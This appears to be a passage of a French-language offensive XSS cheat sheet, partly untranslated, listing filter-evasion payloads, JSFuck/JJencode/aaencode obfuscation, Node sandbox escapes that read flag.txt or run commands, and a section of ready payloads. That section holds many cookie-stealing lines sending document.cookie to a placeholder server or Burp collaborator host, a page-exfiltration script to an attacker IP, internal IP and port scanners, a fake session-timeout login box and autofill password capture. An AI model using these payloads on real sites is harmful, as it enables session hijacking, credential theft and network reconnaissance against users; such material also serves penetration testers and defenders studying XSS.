[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Il existe du JS code qui utilise des données non sûres contrôlées par un attacker comme location.href
. Un attacker pourrait abuser de cela pour exécuter du code JS arbitraire.
En raison de l'extension de l'explication de DOM vulnerabilities elle a été déplacée vers cette page:
Vous y trouverez une explication détaillée de ce que sont les DOM vulnerabilities, comment elles sont provoquées, et comment les exploiter.
De plus, n'oubliez pas qu'à la fin du post mentionné vous pouvez trouver une explication sur DOM Clobbering attacks.
Escalade de Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
Vous pouvez trouver un excellent exemple d'abus de cette technique dans cet article de blog.
Sending your session to the admin
Peut-être qu'un user peut partager son profil avec l'admin ; si le self XSS se trouve dans le profil du user et que l'admin y accède, il déclenchera la vulnérabilité.
Session Mirroring
If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
You could make the administrator trigger your self XSS and steal his cookies/session.
Other Bypasses
Contourner la sanitisation via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Vous pouvez vérifier si les reflected values sont unicode normalized sur le server (ou sur le client) et abuser de cette fonctionnalité pour bypasser les protections. Trouvez un exemple ici.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
En raison de RoR mass assignment, des guillemets sont insérés dans le HTML, puis la restriction sur les guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.
Exemple de formulaire (from this report), si vous envoyez le payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
La paire "Key","Value" sera renvoyée comme ceci :
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Ensuite, l'attribut onfocus sera inséré et XSS se produit.
Combinaisons spéciales
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Si vous découvrez que vous pouvez injecter des en-têtes dans une réponse 302 Redirect vous pouvez essayer de forcer le navigateur à exécuter du JavaScript arbitraire. Ce n'est pas trivial car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut est 302, donc un simple payload de cross-site scripting est inutile.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Protocoles connus : mailto://
, //x:1/
, ws://
, wss://
, empty Location header, resource://
.
Uniquement lettres, chiffres et points
Si vous pouvez indiquer le callback que javascript va exécuter, limité à ces caractères. Read this section of this post pour apprendre comment abuser de ce comportement.
Valid <script>
Content-Types to XSS
(From here) If you try to load a script with a content-type such as application/octet-stream
, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Les seuls Content-Types qui permettront à Chrome d'exécuter un script chargé sont ceux contenus dans la const kSupportedJavascriptTypes
provenant de https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Types de script pour XSS
(Depuis here) Alors, quels types pourraient être indiqués pour charger un script ?
<script type="???"></script>
La réponse est :
- module (par défaut, rien à expliquer)
- webbundle: Web Bundles est une fonctionnalité qui permet de regrouper des données (HTML, CSS, JS…) dans un fichier
.wbn
.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Permet d'améliorer la syntaxe des imports
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Ce comportement a été utilisé dans this writeup pour remapper une bibliothèque vers eval ; cet abus peut déclencher XSS.
- speculationrules: Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Elle fonctionne comme suit :
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types to XSS
(From here) Les types de contenu suivants peuvent exécuter du XSS dans tous les navigateurs :
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
Dans d'autres navigateurs, d'autres Content-Types
peuvent être utilisés pour exécuter du JS arbitraire, voir : https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Si la page renvoie un Content-Type text/xml, il est possible d'indiquer un espace de noms et d'exécuter du JS arbitraire :
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Modèles de remplacement spéciaux
Lorsque quelque chose comme "some {{template}} data".replace("{{template}}", <user_input>)
est utilisé. L'attaquant pourrait utiliser special string replacements pour tenter de contourner certaines protections : "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
For example in this writeup, this was used to échapper une chaîne JSON inside a script and execute arbitrary code.
Chrome Cache to XSS
XS Jails Escape
Si vous n'avez qu'un ensemble limité de chars à utiliser, consultez ces autres solutions valides pour les problèmes XSJail :
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Si tout est undefined avant d'exécuter du code non fiable (comme dans this writeup) il est possible de générer des objets utiles « à partir de rien » pour abuser de l'exécution arbitraire de code non fiable :
- En utilisant import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Accéder à
require
de manière indirecte
According to this les modules sont encapsulés par Node.js dans une fonction, comme ceci :
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Par conséquent, si depuis ce module nous pouvons appeler une autre fonction, il est possible d'utiliser arguments.callee.caller.arguments[1]
depuis cette fonction pour accéder à require
:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
De manière similaire à l'exemple précédent, il est possible d'utiliser des gestionnaires d'erreurs pour accéder au wrapper du module et obtenir la fonction require
:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Contournement avancé
- Différentes obfuscations sur une page: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- JSFuck plus sophistiqué : https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
Payloads XSS courants
Plusieurs payloads en 1
Iframe Trap
Permet de faire naviguer l'utilisateur dans la page sans quitter un iframe et de voler ses actions (y compris les informations envoyées via les formulaires) :
Récupérer les cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
Vous ne pourrez pas accéder aux cookies depuis JavaScript si le flag HTTPOnly est défini sur le cookie. Mais ici vous avez quelques façons de contourner cette protection si vous avez suffisamment de chance.
Voler le contenu de la page
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Trouver les IP internes
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Des temps courts indiquent un port répondant Des temps plus longs indiquent aucune réponse.
Consultez la liste des ports bloqués dans Chrome ici et dans Firefox ici.
Boîte pour demander des identifiants
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Capture des mots de passe auto-complétés
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Si un handler critique (e.g., function DoLogin(){...}
